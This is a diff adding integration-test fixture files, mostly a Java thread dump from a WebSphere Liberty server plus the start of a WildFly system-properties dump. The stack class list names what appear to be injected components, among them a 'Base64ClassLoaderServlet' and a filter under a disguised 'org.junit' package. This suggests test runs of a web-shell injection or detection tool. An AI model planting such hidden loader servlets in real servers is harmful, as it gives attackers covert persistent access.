com.ibm.ws.sib.processor.utils.am.MPAlarmThread.run(MPAlarmThread.java:240) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1671) + +"Default Executor-thread-13" #95 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@b47d7a56 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Equinox start level thread - Equinox Container: 4cb9f774-85b4-4edf-93ad-f2176807ad8a" #44 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a6b2f2c2 + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base/java.util.concurrent.LinkedBlockingQueue.poll(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-4" #58 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@ef1d69f9 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Timer-0" #30 daemon [TIMED_WAITING] on java.util.TaskQueue@44e62e47 + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"GC Worker" #17 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Timer-3" #34 daemon [TIMED_WAITING] on java.util.TaskQueue@d08494c3 + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"Default Executor-thread-17" #99 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@42b0ecc7 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Inbound Write Selector.1" #69 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:172) + at java.base/java.lang.Thread.run(Unknown Source) + +"FlushHelper" #71 daemon [WAITING] on com.ibm.ws.objectManager.FileLogOutput$FlushHelper@555b4a15 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.objectManager.FileLogOutput$FlushHelper.run(FileLogOutput.java:2537) + at java.base/java.lang.Thread.run(Unknown Source) + +"Inbound Write Selector.1" #63 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:172) + at java.base/java.lang.Thread.run(Unknown Source) + +"sib.SpillDispatcher-33677AE89962E502-3" #77 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@7e258a10 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:578) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-14" #96 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@c5c404d + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Scheduled Executor-thread-1" #52 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@f108887e + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Timer-4" #46 daemon [WAITING] on java.util.TaskQueue@57a5d51a + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"GC Worker" #16 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"IProfiler" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Equinox start level thread - Equinox Container: 4cb9f774-85b4-4edf-93ad-f2176807ad8a" #42 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a6b2f2c2 + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base/java.util.concurrent.LinkedBlockingQueue.poll(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Bundle File Closer" #57 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@4105adb3 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:396) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:337) + +"Default Executor-thread-6" #61 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@54acf725 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"JIT-SamplerThread" #11 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + +"Equinox start level thread - Equinox Container: 4cb9f774-85b4-4edf-93ad-f2176807ad8a" #45 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a6b2f2c2 + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base/java.util.concurrent.LinkedBlockingQueue.poll(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"sib.SpillDispatcher-33677AE89962E502-1" #75 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@4115b92a + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:578) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-20" #102 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@919a8571 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"CheckpointHelper" #72 daemon [WAITING] on com.ibm.ws.objectManager.ObjectManagerState$CheckpointHelper@36ca17ea + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.objectManager.ObjectManagerState$CheckpointHelper.run(ObjectManagerState.java:3225) + at java.base/java.lang.Thread.run(Unknown Source) + +"JIT Compilation Thread-003" #6 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"NotifyHelper" #70 daemon [WAITING] on com.ibm.ws.objectManager.FileLogOutput$NotifyHelper@1a3590d3 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.objectManager.FileLogOutput$NotifyHelper.run(FileLogOutput.java:3342) + at java.base/java.lang.Thread.run(Unknown Source) + +"process reaper" #66 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@54e9a8a0 + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.SynchronousQueue$TransferStack.transfer(Unknown Source) + at java.base/java.util.concurrent.SynchronousQueue.poll(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"ClassloaderMapProcessingThread-13" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@9130192c + java.lang.Thread.State: WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"GC Worker" #23 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Concurrent Mark Helper" #14 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"sib.SpillDispatcher-33677AE89962E502-0" #74 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@f546181e + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:578) + at java.base/java.lang.Thread.run(Unknown Source) + +"Attach API wait loop" #29 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/openj9.internal.tools.attach.target.IPC.waitSemaphore(Native Method) + at java.base/openj9.internal.tools.attach.target.CommonDirectory.waitSemaphore(Unknown Source) + at java.base/openj9.internal.tools.attach.target.WaitLoop.waitForNotification(Unknown Source) + at java.base/openj9.internal.tools.attach.target.WaitLoop.run(Unknown Source) + +"zip file reaper" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fd0756d + java.lang.Thread.State: WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock.wait(ZipFileReaper.java:1211) + at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperRunnable.run(ZipFileReaper.java:453) + at java.base/java.lang.Thread.run(Unknown Source) + +"SCR Component Registry" #49 daemon [TIMED_WAITING] on java.util.TaskQueue@f854ee28 + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"JIT Diagnostic Compilation Thread-007 Suspended" #10 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"System defaultME : 1" #83 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@9c50110a + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:347) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:818) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:903) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1677) + +"GC Worker" #24 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"UniqueKeyRangeManager" #73 daemon [WAITING] on java.util.LinkedList@2e0a01d5 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.objectManager.UniqueKeyRangeManager.run(UniqueKeyRangeManager.java:329) + at java.base/java.lang.Thread.run(Unknown Source) + +"sib.SpillDispatcher-33677AE89962E502-7" #81 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@9e05cbb6 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:578) + at java.base/java.lang.Thread.run(Unknown Source) + +"JIT Compilation Thread-004" #7 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"SCR Component Actor" #48 daemon [WAITING] on java.util.LinkedList@385d54fa + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:83) + at java.base/java.lang.Thread.run(Unknown Source) + +"Finalizer thread" #25 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"GC Worker" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"main" #1 [WAITING] on java.util.concurrent.atomic.AtomicReference@24a1c0af + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at org.eclipse.osgi.container.SystemModule.waitForStop(SystemModule.java:178) + at org.eclipse.osgi.internal.framework.EquinoxBundle$SystemBundle.waitForStop(EquinoxBundle.java:335) + at org.eclipse.osgi.launch.Equinox.waitForStop(Equinox.java:217) + at com.ibm.ws.kernel.launch.internal.FrameworkManager.waitForFrameworkStop(FrameworkManager.java:900) + at com.ibm.ws.kernel.launch.internal.FrameworkManager.launchFramework(FrameworkManager.java:345) + at com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl.doFrameworkLaunch(LauncherDelegateImpl.java:116) + at com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl.launchFramework(LauncherDelegateImpl.java:102) + at com.ibm.ws.kernel.boot.internal.KernelBootstrap.go(KernelBootstrap.java:215) + at com.ibm.ws.kernel.boot.Launcher.handleActions(Launcher.java:243) + at com.ibm.ws.kernel.boot.Launcher.createPlatform(Launcher.java:119) + at com.ibm.ws.kernel.boot.cmdline.EnvCheck.main(EnvCheck.java:61) + at com.ibm.ws.kernel.boot.cmdline.EnvCheck.main(EnvCheck.java:37) + +"Active Thread: Equinox Container: 4cb9f774-85b4-4edf-93ad-f2176807ad8a" #35 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7c6ee2a8 + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"GC Worker" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Timer-6" #67 daemon [TIMED_WAITING] on java.util.TaskQueue@fe3e3ad7 + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$DeferredLogEmitter +com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock +com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperRunnable +com.ibm.ws.config.admin.internal.ManagedServiceFactoryTracker$2 +com.ibm.ws.config.admin.internal.UpdateQueue$Queue +com.ibm.ws.ejbcontainer.osgi.internal.EJBContainerImpl +com.ibm.ws.ejbcontainer.osgi.internal.EJBRuntimeImpl +com.ibm.ws.ejbcontainer.runtime.AbstractEJBRuntime +com.ibm.ws.http.channel.internal.inbound.HttpInboundLink +com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink +com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink$TaskWrapper +com.ibm.ws.kernel.boot.Launcher +com.ibm.ws.kernel.boot.cmdline.EnvCheck +com.ibm.ws.kernel.boot.internal.KernelBootstrap +com.ibm.ws.kernel.launch.internal.FrameworkManager +com.ibm.ws.kernel.launch.internal.FrameworkManager$8 +com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl +com.ibm.ws.kernel.launch.internal.ServerCommandListener +com.ibm.ws.management.j2ee.mejb.service.ManagementEJBService +com.ibm.ws.objectManager.FileLogOutput$FlushHelper +com.ibm.ws.objectManager.FileLogOutput$NotifyHelper +com.ibm.ws.objectManager.ObjectManagerState$CheckpointHelper +com.ibm.ws.security.jaspi.JaspiServletFilter +com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread +com.ibm.ws.sib.msgstore.persistence.objectManager.UniqueKeyRangeManager +com.ibm.ws.sib.processor.utils.am.MPAlarmThread +com.ibm.ws.ssl.internal.KeystoreConfig +com.ibm.ws.ssl.internal.KeystoreConfigurationFactory +com.ibm.ws.ssl.internal.SSLComponent +com.ibm.ws.tcpchannel.internal.ChannelSelector +com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback +com.ibm.ws.tcpchannel.internal.WorkQueueManager +com.ibm.ws.tcpchannel.internal.WorkQueueManager$Worker +com.ibm.ws.threading.internal.BoundedBuffer +com.ibm.ws.threading.internal.ExecutorServiceImpl$RunnableWrapper +com.ibm.ws.transport.iiop.internal.AcidReference +com.ibm.ws.transport.iiop.internal.ORBWrapper$ReadyListenerImpl +com.ibm.ws.transport.iiop.security.AbstractCsiv2SubsystemFactory +com.ibm.ws.transport.iiop.security.AbstractCsiv2SubsystemFactory$ReadyRegistration +com.ibm.ws.util.BoundedBuffer +com.ibm.ws.util.ThreadPool +com.ibm.ws.util.ThreadPool$Worker +com.ibm.ws.webcontainer.WebContainer +com.ibm.ws.webcontainer.filter.FilterInstanceWrapper +com.ibm.ws.webcontainer.filter.WebAppFilterChain +com.ibm.ws.webcontainer.filter.WebAppFilterManager +com.ibm.ws.webcontainer.osgi.DynamicVirtualHost$2 +com.ibm.ws.webcontainer.servlet.CacheServletWrapper +com.ibm.ws.webcontainer.servlet.ServletWrapper +com.ibm.ws.webcontainer40.servlet.CacheServletWrapper40 +openj9.internal.tools.attach.target.AttachHandler$1 +openj9.internal.tools.attach.target.CommonDirectory +openj9.internal.tools.attach.target.IPC +openj9.internal.tools.attach.target.WaitLoop +org.apache.felix.scr.impl.BundleComponentActivator$ListenerInfo +org.apache.felix.scr.impl.ComponentActorThread +org.apache.felix.scr.impl.inject.methods.BaseMethod +org.apache.felix.scr.impl.inject.methods.BaseMethod$Resolved +org.apache.felix.scr.impl.inject.methods.BindMethod +org.apache.felix.scr.impl.manager.AbstractComponentManager +org.apache.felix.scr.impl.manager.AbstractComponentManager$3 +org.apache.felix.scr.impl.manager.ComponentContextImpl +org.apache.felix.scr.impl.manager.ComponentFactoryImpl +org.apache.felix.scr.impl.manager.DependencyManager +org.apache.felix.scr.impl.manager.DependencyManager$MultipleDynamicCustomizer +org.apache.felix.scr.impl.manager.DependencyManager$SingleDynamicCustomizer +org.apache.felix.scr.impl.manager.DependencyManager$SingleStaticCustomizer +org.apache.felix.scr.impl.manager.RegistrationManager +org.apache.felix.scr.impl.manager.ServiceTracker$AbstractTracked +org.apache.felix.scr.impl.manager.ServiceTracker$Tracked +org.apache.felix.scr.impl.manager.SingleComponentManager +org.apache.yoko.orb.OB.GIOPServerStarterThreaded +org.apache.yoko.orb.OB.GIOPServerStarterThreaded$Starter +org.apache.yoko.orb.OCI.IIOP.Acceptor_impl +org.eclipse.osgi.container.SystemModule +org.eclipse.osgi.framework.eventmgr.EventManager +org.eclipse.osgi.framework.eventmgr.EventManager$EventThread +org.eclipse.osgi.framework.eventmgr.ListenerQueue +org.eclipse.osgi.internal.framework.BundleContextImpl +org.eclipse.osgi.internal.framework.EquinoxBundle$SystemBundle +org.eclipse.osgi.internal.serviceregistry.FilteredServiceListener +org.eclipse.osgi.internal.serviceregistry.ServiceRegistrationImpl +org.eclipse.osgi.internal.serviceregistry.ServiceRegistry +org.eclipse.osgi.launch.Equinox +org.junit.vzcFT.ErrorHandler diff --git a/integration-test/src/test/resources/infos/Wildfly36ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Wildfly36ContainerTestBasicInfo.txt new file mode 100644 index 00000000..dd44145e --- /dev/null +++ b/integration-test/src/test/resources/infos/Wildfly36ContainerTestBasicInfo.txt @@ -0,0 +1,1433 @@ +# Generated At 2026-01-08 17:03:57 +SystemProps: +[Standalone]: +java.specification.version: 21 +logging.configuration: file:/opt/jboss/wildfly/standalone/configuration/logging.properties +sun.jnu.encoding: UTF-8 +java.class.path: /opt/jboss/wildfly/jboss-modules.jar +jakarta.security.jacc.PolicyConfigurationFactory.provider: org.wildfly.security.authz.jacc.ElytronPolicyConfigurationFactory +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +org.jboss.resolver.warning: true +java.vendor.url: https://adoptium.net/ +user.timezone: GMT +java.vm.specification.version: 21 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: /opt/jboss/wildfly/jboss-modules.jar -mp /opt/jboss/wildfly/modules org.jboss.as.standalone -Djboss.home.dir=/opt/jboss/wildfly -Djboss.server.base.dir=/opt/jboss/wildfly/standalone -b 0.0.0.0 +jdk.debug: release +sun.cpu.endian: little +jboss.server.config.dir: /opt/jboss/wildfly/standalone/configuration +user.home: /opt/jboss +user.language: en +java.specification.vendor: Oracle Corporation +jboss.qualified.host.name: e212a656084f +java.naming.factory.url.pkgs: org.jboss.as.naming.interfaces +java.version.date: 2025-01-21 +java.home: /opt/java/openjdk +file.separator: / +jboss.server.persist.config: true +java.vm.compressedOopsMode: 32-bit +line.separator: + +jboss.server.data.dir: /opt/jboss/wildfly/standalone/data 